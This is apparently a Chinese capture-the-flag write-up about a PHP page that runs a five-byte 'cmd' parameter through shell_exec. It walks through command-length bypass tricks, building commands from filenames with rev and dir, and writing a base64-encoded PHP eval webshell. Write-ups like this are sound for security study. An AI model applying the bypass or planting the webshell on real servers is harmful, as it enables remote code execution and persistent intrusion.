首页 > 其他分享 >王鼎杯 RCE命令執行 五字節限制

王鼎杯 RCE命令執行 五字節限制

时间:2024-06-23 22:59:07浏览次数:21  
标签:王鼎杯 五字節 顺序 文件 写入 執行 rev 命令 ls

源碼:

<?php
error_reporting(0);
highlight_file(__FILE__);
if(strlen($_GET['cmd'])<=5 && !preg_match('/rm/',$_GET['cmd']))
{
    echo shell_exec($_GET['cmd']);
}
?>

对cmd限制长度五字节

image
起初是想通过变量来绕过五字节 但好像不起作用

于是尝试使用 常规做法通过文件名的叠加来构造payload:
首先要缩小 ls -t的长度 在linux中 重定向符号可以直接创建文件:
我们使用如下方法:

>-t
>ls

root@forg:/var/www/html/test# ls
ls  -t
#使用*触发命令 按顺序触发 默认顺序是数字字母符号的顺序

image
此时还不能够将ls -t的长度缩短 需要将命令写入到一个新的文件中 方便执行
但是由于 '>f'参数永远会处于ls的第一个 文件 导致顺序不正确
需要使用 rev命令做一个倒置
再使用dir将结果输出到一个文件中
d下来是f所以文件名取为f
综合下来:

>sl
>ht-
>f\>
>dir
# 此时*触发:
root@forg:/var/www/html/test# *
f>  ht-  sl
# 对结果进行重定向 写到一个新的文件中: 等下需要匹配*v所以目标文件名一定与rev的结末字符一致
*>v
# 创建rev对文件内容进行倒置
root@forg:/var/www/html/test# >rev

image
最后将内容写入到新的文件中a中 最后运行a文件
sh a
最后f文件内存应该存放的是一句话木马 接下来的操作较为简单 与七字符绕过基本一致

将payload base64编码

PD9waHAgZWNobyBldmFsKCRfR0VUWycxJ10pID8+
通过base64解码  
整体命令为:echo PD9waHAgZWNobyBldmFsKCRfR0VUWycxJ10pID8+ | base64 -d
将字符按照总后向前的顺序依次写入
>\-d
>4\ 
>se6
>ba
...........
>PD9

sh a 将命令写入到f中
最后
 f 中存放着一句话木马

标签:王鼎杯,五字節,顺序,文件,写入,執行,rev,命令,ls
From: https://www.cnblogs.com/fr09/p/18264050

相关文章

  • [MDP.BlazorCore] 快速建立跨Web、App執行的BlazorApp專案
    團隊資源受限的時候,使用Blazor開發應用系統,只需開發一份程式碼及使用一種程式語言,就同時產出Web跟App應用系統。本篇文章,紀錄使用MDP.BlazorCore所提供的樣板,快速建立跨Web、App執行的BlazorApp專案。為自己留個紀錄,也希望能幫助到有需要的開發人員。.安裝指令:dotnetnewinstal......
  • SQL執行更新或刪除時,避免誤操作方法
    1.使用數據表別名儘量使用數據表別名,先對要操作的數據進行查詢,確保數據準確無誤。SELECT*--DELETEw--updatgewset iw_RptId='231110TB201-010'FROMIPQAInsWo wWHEREiw_RptId='231110TB201-010' 2.所有的條件與表同一行在更新或刪除數據時,儘量數據表,條件保持在......
  • GitLab CICD Day 06 - 執行外部檔案
    新建run.sh(同级目录)echo"helloworldfromexternalfile"2。编写.gitlab-ci.ymlstages:-testing#stage编排-build-deployrun_test:......